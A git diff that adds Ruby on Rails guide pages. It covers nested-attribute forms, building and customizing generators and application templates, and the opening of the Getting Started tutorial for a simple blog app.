+class Address < ActiveRecord::Base
+ belongs_to :person
+end
+```
+
+This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses.
+
+### Building the Form
+
+The following form allows a user to create a `Person` and its associated addresses.
+
+```html+erb
+<%= form_for @person do |f| %>
+ Addresses:
+ <ul>
+ <%= f.fields_for :addresses do |addresses_form| %>
+ <li>
+ <%= addresses_form.label :kind %>
+ <%= addresses_form.text_field :kind %>
+
+ <%= addresses_form.label :street %>
+ <%= addresses_form.text_field :street %>
+ ...
+ </li>
+ <% end %>
+ </ul>
+<% end %>
+```
+
+
+When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form.
+
+```ruby
+def new
+ @person = Person.new
+ 3.times { @person.addresses.build}
+end
+```
+
+`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like
+
+```ruby
+{
+ :person => {
+ :name => 'John Doe',
+ :addresses_attributes => {
+ '0' => {
+ :kind => 'Home',
+ :street => '221b Baker Street',
+ },
+ '1' => {
+ :kind => 'Office',
+ :street => '31 Spooner Street'
+ }
+ }
+ }
+}
+```
+
+The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
+
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.
+
+### The Controller
+
+As usual you need to
+[whitelist the parameters](action_controller_overview.html#strong-parameters) in
+the controller before you pass them to the model:
+
+```ruby
+def create
+ @person = Person.new(person_params)
+ # ...
+end
+
+private
+def person_params
+ params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
+end
+```
+
+### Removing Objects
+
+You can allow users to delete associated objects by passing `allow_destroy: true` to `accepts_nested_attributes_for`
+
+```ruby
+class Person < ActiveRecord::Base
+ has_many :addresses
+ accepts_nested_attributes_for :addresses, allow_destroy: true
+end
+```
+
+If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses:
+
+```erb
+<%= form_for @person do |f| %>
+ Addresses:
+ <ul>
+ <%= f.fields_for :addresses do |addresses_form| %>
+ <li>
+ <%= check_box :_destroy%>
+ <%= addresses_form.label :kind %>
+ <%= addresses_form.text_field :kind %>
+ ...
+ </li>
+ <% end %>
+ </ul>
+<% end %>
+```
+
+Don't forget to update the whitelisted params in your controller to also include
+the `_destroy` field:
+
+```ruby
+def person_params
+ params.require(:person).
+ permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
+end
+```
+
+### Preventing Empty Records
+
+It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a `:reject_if` proc to `accepts_nested_attributes_for`. This proc will be called with each hash of attributes submitted by the form. If the proc returns `false` then Active Record will not build an associated object for that hash. The example below only tries to build an address if the `kind` attribute is set.
+
+```ruby
+class Person < ActiveRecord::Base
+ has_many :addresses
+ accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?}
+end
+```
+
+As a convenience you can instead pass the symbol `:all_blank` which will create a proc that will reject records where all the attributes are blank excluding any value for `_destroy`.
+
+### Adding Fields on the Fly
+
+Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice.
diff --git a/guides/source/generators.md b/guides/source/generators.md
new file mode 100644
index 0000000..a8a34d0
--- /dev/null
+++ b/guides/source/generators.md
@@ -0,0 +1,644 @@
+Creating and Customizing Rails Generators & Templates
+=====================================================
+
+Rails generators are an essential tool if you plan to improve your workflow. With this guide you will learn how to create generators and customize existing ones.
+
+After reading this guide, you will know:
+
+* How to see which generators are available in your application.
+* How to create a generator using templates.
+* How Rails searches for generators before invoking them.
+* How to customize your scaffold by creating new generators.
+* How to customize your scaffold by changing generator templates.
+* How to use fallbacks to avoid overwriting a huge set of generators.
+* How to create an application template.
+
+--------------------------------------------------------------------------------
+
+First Contact
+-------------
+
+When you create an application using the `rails` command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking `rails generate`:
+
+```bash
+$ rails new myapp
+$ cd myapp
+$ rails generate
+```
+
+You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
+
+```bash
+$ rails generate helper --help
+```
+
+Creating Your First Generator
+-----------------------------
+
+Since Rails 3.0, generators are built on top of [Thor](https://github.com/wycats/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
+
+The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content:
+
+```ruby
+class InitializerGenerator < Rails::Generators::Base
+ def create_initializer_file
+ create_file "config/initializers/initializer.rb", "# Add initialization content here"
+ end
+end
+```
+
+NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
+
+Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
+
+To invoke our new generator, we just need to do:
+
+```bash
+$ rails generate initializer
+```
+
+Before we go on, let's see our brand new generator description:
+
+```bash
+$ rails generate initializer --help
+```
+
+Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator:
+
+```ruby
+class InitializerGenerator < Rails::Generators::Base
+ desc "This generator creates an initializer file at config/initializers"
+ def create_initializer_file
+ create_file "config/initializers/initializer.rb", "# Add initialization content here"
+ end
+end
+```
+
+Now we can see the new description by invoking `--help` on the new generator. The second way to add a description is by creating a file named `USAGE` in the same directory as our generator. We are going to do that in the next step.
+
+Creating Generators with Generators
+-----------------------------------
+
+Generators themselves have a generator:
+
+```bash
+$ rails generate generator initializer
+ create lib/generators/initializer
+ create lib/generators/initializer/initializer_generator.rb
+ create lib/generators/initializer/USAGE
+ create lib/generators/initializer/templates
+```
+
+This is the generator just created:
+
+```ruby
+class InitializerGenerator < Rails::Generators::NamedBase
+ source_root File.expand_path("../templates", __FILE__)
+end
+```
+
+First, notice that we are inheriting from `Rails::Generators::NamedBase` instead of `Rails::Generators::Base`. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable `name`.
+
+We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
+
+```bash
+$ rails generate initializer --help
+Usage:
+ rails generate initializer NAME [options]
+```
+
+We can also see that our new generator has a class method called `source_root`. This method points to where our generator templates will be placed, if any, and by default it points to the created directory `lib/generators/initializer/templates`.
+
+In order to understand what a generator template means, let's create the file `lib/generators/initializer/templates/initializer.rb` with the following content:
+
+```ruby
+# Add initialization content here
+```
+
+And now let's change the generator to copy this template when invoked:
+
+```ruby
+class InitializerGenerator < Rails::Generators::NamedBase
+ source_root File.expand_path("../templates", __FILE__)
+
+ def copy_initializer_file
+ copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
+ end
+end
+```
+
+And let's execute our generator:
+
+```bash
+$ rails generate initializer core_extensions
+```
+
+We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`.
+
+The methods that are available for generators are covered in the [final section](#generator-methods) of this guide.
+
+Generators Lookup
+-----------------
+
+When you run `rails generate initializer core_extensions` Rails requires these files in turn until one is found:
+
+```bash
+rails/generators/initializer/initializer_generator.rb
+generators/initializer/initializer_generator.rb
+rails/generators/initializer_generator.rb
+generators/initializer_generator.rb
+```
+
+If none is found you get an error message.
+
+INFO: The examples above put files under the application's `lib` because said directory belongs to `$LOAD_PATH`.
+
+Customizing Your Workflow
+-------------------------
+
+Rails own generators are flexible enough to let you customize scaffolding. They can be configured in `config/application.rb`, these are some defaults:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, fixture: true
+end
+```
+
+Before we customize our workflow, let's first see what our scaffold looks like:
+
+```bash
+$ rails generate scaffold User name:string
+ invoke active_record
+ create db/migrate/20091120125558_create_users.rb
+ create app/models/user.rb
+ invoke test_unit
+ create test/models/user_test.rb
+ create test/fixtures/users.yml
+ invoke resource_route
+ route resources :users
+ invoke scaffold_controller
+ create app/controllers/users_controller.rb
+ invoke erb
+ create app/views/users
+ create app/views/users/index.html.erb
+ create app/views/users/edit.html.erb
+ create app/views/users/show.html.erb
+ create app/views/users/new.html.erb
+ create app/views/users/_form.html.erb
+ invoke test_unit
+ create test/controllers/users_controller_test.rb
+ invoke helper
+ create app/helpers/users_helper.rb
+ invoke test_unit
+ create test/helpers/users_helper_test.rb
+ invoke assets
+ invoke coffee
+ create app/assets/javascripts/users.js.coffee
+ invoke scss
+ create app/assets/stylesheets/users.css.scss
+ invoke scss
+ create app/assets/stylesheets/scaffolds.css.scss
+```
+
+Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
+
+Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, fixture: false
+ g.stylesheets false
+end
+```
+
+If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
+
+To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
+
+```bash
+$ rails generate generator rails/my_helper
+```
+
+After that, we can delete both the `templates` directory and the `source_root` class method from our new generators, because we are not going to need them. So our new generator looks like the following:
+
+```ruby
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+ def create_helper_file
+ create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+ attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+ FILE
+ end
+end
+```
+
+We can try out our new generator by creating a helper for users:
+
+```bash
+$ rails generate my_helper products
+```
+
+And it will generate the following helper file in `app/helpers`:
+
+```ruby
+module ProductsHelper
+ attr_reader :products, :product
+end
+```
+
+Which is what we expected. We can now tell scaffold to use our new helper generator by editing `config/application.rb` once again:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, fixture: false
+ g.stylesheets false
+ g.helper :my_helper
+end
+```
+
+and see it in action when invoking the generator:
+
+```bash
+$ rails generate scaffold Post body:text
+ [...]
+ invoke my_helper
+ create app/helpers/posts_helper.rb
+```
+
+We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.
+
+Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.
+
+To do that, we can change the generator this way:
+
+```ruby
+class Rails::MyHelperGenerator < Rails::Generators::NamedBase
+ def create_helper_file
+ create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
+module #{class_name}Helper
+ attr_reader :#{plural_name}, :#{plural_name.singularize}
+end
+ FILE
+ end
+
+ hook_for :test_framework
+end
+```
+
+Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both `Rails::TestUnitGenerator` and `TestUnit::MyHelperGenerator`. Since none of those are defined, we can tell our generator to invoke `TestUnit::Generators::HelperGenerator` instead, which is defined since it's a Rails generator. To do that, we just need to add:
+
+```ruby
+# Search for :helper instead of :my_helper
+hook_for :test_framework, as: :helper
+```
+
+And now you can re-run scaffold for another resource and see it generating tests as well!
+
+Customizing Your Workflow by Changing Generators Templates
+----------------------------------------------------------
+
+In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case `Rails::Generators::HelperGenerator`.
+
+In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is `lib/templates`. Since we want to customize `Rails::Generators::HelperGenerator`, we can do that by simply making a template copy inside `lib/templates/rails/helper` with the name `helper.rb`. So let's create that file with the following content:
+
+```erb
+module <%= class_name %>Helper
+ attr_reader :<%= plural_name %>, :<%= plural_name.singularize %>
+end
+```
+
+and revert the last change in `config/application.rb`:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :test_unit, fixture: false
+ g.stylesheets false
+end
+```
+
+If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating `edit.html.erb`, `index.html.erb` and so on inside `lib/templates/erb/scaffold`.
+
+Adding Generators Fallbacks
+---------------------------
+
+One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like [shoulda](https://github.com/thoughtbot/shoulda) does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a `TestUnit` generator if none was found under the `Sho [...]
+
+We can easily simulate this behavior by changing our `config/application.rb` once again:
+
+```ruby
+config.generators do |g|
+ g.orm :active_record
+ g.template_engine :erb
+ g.test_framework :shoulda, fixture: false
+ g.stylesheets false
+
+ # Add a fallback!
+ g.fallbacks[:shoulda] = :test_unit
+end
+```
+
+Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
+
+```bash
+$ rails generate scaffold Comment body:text
+ invoke active_record
+ create db/migrate/20091120151323_create_comments.rb
+ create app/models/comment.rb
+ invoke shoulda
+ create test/models/comment_test.rb
+ create test/fixtures/comments.yml
+ invoke resource_route
+ route resources :comments
+ invoke scaffold_controller
+ create app/controllers/comments_controller.rb
+ invoke erb
+ create app/views/comments
+ create app/views/comments/index.html.erb
+ create app/views/comments/edit.html.erb
+ create app/views/comments/show.html.erb
+ create app/views/comments/new.html.erb
+ create app/views/comments/_form.html.erb
+ invoke shoulda
+ create test/controllers/comments_controller_test.rb
+ invoke my_helper
+ create app/helpers/comments_helper.rb
+ invoke shoulda
+ create test/helpers/comments_helper_test.rb
+ invoke assets
+ invoke coffee
+ create app/assets/javascripts/comments.js.coffee
+ invoke scss
+```
+
+Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
+
+Application Templates
+---------------------
+
+Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template". This is a brief overview of the Templates API. For detailed documentation see the [Rails Application Templates guide](rails_application_templates.html).
+
+```ruby
+gem "rspec-rails", group: "test"
+gem "cucumber-rails", group: "test"
+
+if yes?("Would you like to install Devise?")
+ gem "devise"
+ generate "devise:install"
+ model_name = ask("What would you like the user model to be called? [user]")
+ model_name = "user" if model_name.blank?
+ generate "devise", model_name
+end
+```
+
+In the above template we specify that the application relies on the `rspec-rails` and `cucumber-rails` gem so these two will be added to the `test` group in the `Gemfile`. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the `Gemfile` outside of any group and then runs the `devise:install` generator. This template then takes the users input and runs the `devi [...]
+
+Imagine that this template was in a file called `template.rb`. We can use it to modify the outcome of the `rails new` command by using the `-m` option and passing in the filename:
+
+```bash
+$ rails new thud -m template.rb
+```
+
+This command will generate the `Thud` application, and then apply the template to the generated output.
+
+Templates don't have to be stored on the local system, the `-m` option also supports online templates:
+
+```bash
+$ rails new thud -m https://gist.github.com/radar/722911/raw/
+```
+
+Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
+
+Generator methods
+-----------------
+
+The following are methods available for both generators and templates for Rails.
+
+NOTE: Methods provided by Thor are not covered this guide and can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
+
+### `gem`
+
+Specifies a gem dependency of the application.
+
+```ruby
+gem "rspec", group: "test", version: "2.1.0"
+gem "devise", "1.1.5"
+```
+
+Available options are:
+
+* `:group` - The group in the `Gemfile` where this gem should go.
+* `:version` - The version string of the gem you want to use. Can also be specified as the second argument to the method.
+* `:git` - The URL to the git repository for this gem.
+
+Any additional options passed to this method are put on the end of the line:
+
+```ruby
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+```
+
+The above code will put the following line into `Gemfile`:
+
+```ruby
+gem "devise", git: "git://github.com/plataformatec/devise", branch: "master"
+```
+
+### `gem_group`
+
+Wraps gem entries inside a group:
+
+```ruby
+gem_group :development, :test do
+ gem "rspec-rails"
+end
+```
+
+### `add_source`
+
+Adds a specified source to `Gemfile`:
+
+```ruby
+add_source "http://gems.github.com"
+```
+
+### `inject_into_file`
+
+Injects a block of code into a defined position in your file.
+
+```ruby
+inject_into_file 'name_of_file.rb', after: "#The code goes below this line. Don't forget the Line break at the end\n" do <<-'RUBY'
+ puts "Hello World"
+RUBY
+end
+```
+
+### `gsub_file`
+
+Replaces text inside a file.
+
+```ruby
+gsub_file 'name_of_file.rb', 'method.to_be_replaced', 'method.the_replacing_code'
+```
+
+Regular Expressions can be used to make this method more precise. You can also use append_file and prepend_file in the same way to place code at the beginning and end of a file respectively.
+
+### `application`
+
+Adds a line to `config/application.rb` directly after the application class definition.
+
+```ruby
+application "config.asset_host = 'http://example.com'"
+```
+
+This method can also take a block:
+
+```ruby
+application do
+ "config.asset_host = 'http://example.com'"
+end
+```
+
+Available options are:
+
+* `:env` - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:
+
+```ruby
+application(nil, env: "development") do
+ "config.asset_host = 'http://localhost:3000'"
+end
+```
+
+### `git`
+
+Runs the specified git command:
+
+```ruby
+git :init
+git add: "."
+git commit: "-m First commit!"
+git add: "onefile.rb", rm: "badfile.cxx"
+```
+
+The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.
+
+### `vendor`
+
+Places a file into `vendor` which contains the specified code.
+
+```ruby
+vendor "sekrit.rb", '#top secret stuff'
+```
+
+This method also takes a block:
+
+```ruby
+vendor "seeds.rb" do
+ "puts 'in ur app, seeding ur database'"
+end
+```
+
+### `lib`
+
+Places a file into `lib` which contains the specified code.
+
+```ruby
+lib "special.rb", "p Rails.root"
+```
+
+This method also takes a block:
+
+```ruby
+lib "super_special.rb" do
+ puts "Super special!"
+end
+```
+
+### `rakefile`
+
+Creates a Rake file in the `lib/tasks` directory of the application.
+
+```ruby
+rakefile "test.rake", "hello there"
+```
+
+This method also takes a block:
+
+```ruby
+rakefile "test.rake" do
+ %Q{
+ task rock: :environment do
+ puts "Rockin'"
+ end
+ }
+end
+```
+
+### `initializer`
+
+Creates an initializer in the `config/initializers` directory of the application:
+
+```ruby
+initializer "begin.rb", "puts 'this is the beginning'"
+```
+
+This method also takes a block, expected to return a string:
+
+```ruby
+initializer "begin.rb" do
+ "puts 'this is the beginning'"
+end
+```
+
+### `generate`
+
+Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.
+
+```ruby
+generate "scaffold", "forums title:string description:text"
+```
+
+
+### `rake`
+
+Runs the specified Rake task.
+
+```ruby
+rake "db:migrate"
+```
+
+Available options are:
+
+* `:env` - Specifies the environment in which to run this rake task.
+* `:sudo` - Whether or not to run this task using `sudo`. Defaults to `false`.
+
+### `capify!`
+
+Runs the `capify` command from Capistrano at the root of the application which generates Capistrano configuration.
+
+```ruby
+capify!
+```
+
+### `route`
+
+Adds text to the `config/routes.rb` file:
+
+```ruby
+route "resources :people"
+```
+
+### `readme`
+
+Output the contents of a file in the template's `source_path`, usually a README.
+
+```ruby
+readme "README"
+```
diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md
new file mode 100644
index 0000000..d49a30d
--- /dev/null
+++ b/guides/source/getting_started.md
@@ -0,0 +1,1776 @@
+Getting Started with Rails
+==========================
+
+This guide covers getting up and running with Ruby on Rails.
+
+After reading this guide, you will know:
+
+* How to install Rails, create a new Rails application, and connect your
+ application to a database.
+* The general layout of a Rails application.
+* The basic principles of MVC (Model, View, Controller) and RESTful design.
+* How to quickly generate the starting pieces of a Rails application.
+
+--------------------------------------------------------------------------------
+
+Guide Assumptions
+-----------------
+
+This guide is designed for beginners who want to get started with a Rails
+application from scratch. It does not assume that you have any prior experience
+with Rails. However, to get the most out of it, you need to have some
+prerequisites installed:
+
+* The [Ruby](http://www.ruby-lang.org/en/downloads) language version 1.9.3 or newer
+* The [RubyGems](http://rubygems.org/) packaging system
+ * To learn more about RubyGems, please read the [RubyGems User Guide](http://docs.rubygems.org/read/book/1)
+* A working installation of the [SQLite3 Database](http://www.sqlite.org)
+
+Rails is a web application framework running on the Ruby programming language.
+If you have no prior experience with Ruby, you will find a very steep learning
+curve diving straight into Rails. There are some good free resources on the
+internet for learning Ruby, including:
+
+* [Mr. Neighborly's Humble Little Ruby Book](http://www.humblelittlerubybook.com)
+* [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/)
+* [Why's (Poignant) Guide to Ruby](http://mislav.uniqpath.com/poignant-guide/)
+
+What is Rails?
+--------------
+
+Rails is a web application development framework written in the Ruby language.
+It is designed to make programming web applications easier by making assumptions
+about what every developer needs to get started. It allows you to write less
+code while accomplishing more than many other languages and frameworks.
+Experienced Rails developers also report that it makes web application
+development more fun.
+
+Rails is opinionated software. It makes the assumption that there is the "best"
+way to do things, and it's designed to encourage that way - and in some cases to
+discourage alternatives. If you learn "The Rails Way" you'll probably discover a
+tremendous increase in productivity. If you persist in bringing old habits from
+other languages to your Rails development, and trying to use patterns you
+learned elsewhere, you may have a less happy experience.
+
+The Rails philosophy includes two major guiding principles:
+
+* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
+* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to
+do it, rather than requiring you to specify every little thing through endless configuration files.
+
+Creating a New Rails Project
+----------------------------
+
+The best way to use this guide is to follow each step as it happens, no code or
+step needed to make this example application has been left out, so you can
+literally follow along step by step. You can get the complete code
+[here](https://github.com/lifo/docrails/tree/master/guides/code/getting_started).
+
+By following along with this guide, you'll create a Rails project called
+`blog`, a
+(very) simple weblog. Before you can start building the application, you need to
+make sure that you have Rails itself installed.
+
+TIP: The examples below use `#` and `$` to denote superuser and regular
+user terminal prompts respectively in a UNIX-like OS. If you are using
+Windows, your prompt will look something like `c:\source_code>`
+
+### Installing Rails
+
+Open up a command line prompt. On Mac OS X open Terminal.app, on Windows choose
+"Run" from your Start menu and type 'cmd.exe'. Any commands prefaced with a
+dollar sign `$` should be run in the command line. Verify that you have a
+current version of Ruby installed:
+
+```bash
+$ ruby -v
+ruby 1.9.3p385
+```
+
+To install Rails, use the `gem install` command provided by RubyGems:
+
+```bash
+$ gem install rails
+```
+
+TIP. A number of tools exist to help you quickly install Ruby and Ruby
+on Rails on your system. Windows users can use [Rails Installer](http://railsinstaller.org), while Mac OS X users can use
+[Rails One Click](http://railsoneclick.com).
+
+To verify that you have everything installed correctly, you should be able to run the following:
+
+```bash
+$ rails --version
+```
+
+If it says something like "Rails 4.0.0", you are ready to continue.
+
+### Creating the Blog Application
+
+Rails comes with a number of scripts called generators that are designed to make your development life easier by creating everything that's necessary to start working on a particular task. One of these is the new application generator, which will provide you with the foundation of a fresh Rails application so that you don't have to write it yourself.
+
+To use this generator, open a terminal, navigate to a directory where you have rights to create files, and type:
+
+```bash
+$ rails new blog
+```
+
+This will create a Rails application called Blog in a directory called blog and install the gem dependencies that are already mentioned in `Gemfile` using `bundle install`.
+
+TIP: You can see all of the command line options that the Rails
+application builder accepts by running `rails new -h`.
+
+After you create the blog application, switch to its folder to continue work directly in that application:
+
+```bash
+$ cd blog
+```
+
+The `rails new blog` command we ran above created a folder in your
+working directory called `blog`. The `blog` directory has a number of
+auto-generated files and folders that make up the structure of a Rails
+application. Most of the work in this tutorial will happen in the `app/` folder, but here's a basic rundown on the function of each of the files and folders that Rails created by default:
+
+| File/Folder | Purpose |
+| ----------- | ------- |
+|app/|Contains the controllers, models, views, helpers, mailers and assets for your application. You'll focus on this folder for the remainder of this guide.|
+|bin/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
+|config/|Configure your application's runtime rules, routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html)|
+|config.ru|Rack configuration for Rack based servers used to start the application.|
+|db/|Contains your current database schema, as well as the database migrations.|
+|Gemfile<br />Gemfile.lock|These files allow you to specify what gem dependencies are needed for your Rails application. These files are used by the Bundler gem. For more information about Bundler, see [the Bundler website](http://gembundler.com) |
+|lib/|Extended modules for your application.|
+|log/|Application log files.|
+|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.|
+|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
+|README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
+|test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html)|
+|tmp/|Temporary files (like cache, pid and session files)|
+|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems and the Rails source code (if you optionally install it into your project).|
+
+Hello, Rails!
+-------------
+
+To begin with, let's get some text up on screen quickly. To do this, you need to get your Rails application server running.
+
+### Starting up the Web Server
+
+You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running:
+
+```bash
+$ rails server
+```
+
+TIP: Compiling CoffeeScript to JavaScript requires a JavaScript runtime and the absence of a runtime will give you an `execjs` error. Usually Mac OS X and Windows come with a JavaScript runtime installed. Rails adds the `therubyracer` gem to Gemfile in a commented line for new apps and you can uncomment if you need it. `therubyrhino` is the recommended runtime for JRuby users and is added by default to Gemfile in apps generated under JRuby. You can investigate about all the supported run [...]
+
+This will fire up WEBrick, a webserver built into Ruby by default. To see your application in action, open a browser window and navigate to <http://localhost:3000>. You should see the Rails default information page:
+
+
+
+TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. To verify the server has stopped you should see your command prompt cursor again. For most UNIX-like systems including Mac OS X this will be a dollar sign `$`. In development mode, Rails does not generally require you to restart the server; changes you make in files will be automatically picked up by the server.
+
+The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment.
+
+### Say "Hello", Rails
+
+To get Rails saying "Hello", you need to create at minimum a _controller_ and a _view_.
+
+A controller's purpose is to receive specific requests for the application. _Routing_ decides which controller receives which requests. Often, there is more than one route to each controller, and different routes can be served by different _actions_. Each action's purpose is to collect information to provide it to a view.
+
+A view's purpose is to display this information in a human readable format. An important distinction to make is that it is the _controller_, not the view, where information is collected. The view should just display that information. By default, view templates are written in a language called ERB (Embedded Ruby) which is converted by the request cycle in Rails before being sent to the user.
+
+To create a new controller, you will need to run the "controller" generator and tell it you want a controller called "welcome" with an action called "index", just like this:
+
+```bash
+$ rails generate controller welcome index
+```
+
+Rails will create several files and a route for you.
+
+```bash
+create app/controllers/welcome_controller.rb
+ route get "welcome/index"
+invoke erb
+create app/views/welcome
+create app/views/welcome/index.html.erb
+invoke test_unit
+create test/controllers/welcome_controller_test.rb
+invoke helper
+create app/helpers/welcome_helper.rb
+invoke test_unit
+create test/helpers/welcome_helper_test.rb
+invoke assets
+invoke coffee
+create app/assets/javascripts/welcome.js.coffee
+invoke scss
+create app/assets/stylesheets/welcome.css.scss
+```
+
+Most important of these are of course the controller, located at `app/controllers/welcome_controller.rb` and the view, located at `app/views/welcome/index.html.erb`.
+
+Open the `app/views/welcome/index.html.erb` file in your text editor. Delete all of the existing code in the file, and replace it with the following single line of code:
+
+```html
+<h1>Hello, Rails!</h1>
+```
+
+### Setting the Application Home Page
+
+Now that we have made the controller and view, we need to tell Rails when we want Hello Rails! to show up. In our case, we want it to show up when we navigate to the root URL of our site, <http://localhost:3000>. At the moment, "Welcome Aboard" is occupying that spot.
+
+Next, you have to tell Rails where your actual home page is located.
+
+Open the file `config/routes.rb` in your editor.
+
+```ruby
+Blog::Application.routes.draw do
+ get "welcome/index"
+
+ # The priority is based upon order of creation:
+ # first created -> highest priority.
+ # ...
+ # You can have the root of your site routed with "root"
+ # root to: "welcome#index"
+```
+
+This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with `root :to` and uncomment it. It should look something like the following:
+
+```ruby
+root to: "welcome#index"
+```
+
+The `root to: "welcome#index"` tells Rails to map requests to the root of the application to the welcome controller's index action and `get "welcome/index"` tells Rails to map requests to <http://localhost:3000/welcome/index> to the welcome controller's index action. This was created earlier when you ran the controller generator (`rails generate controller welcome index`).
+
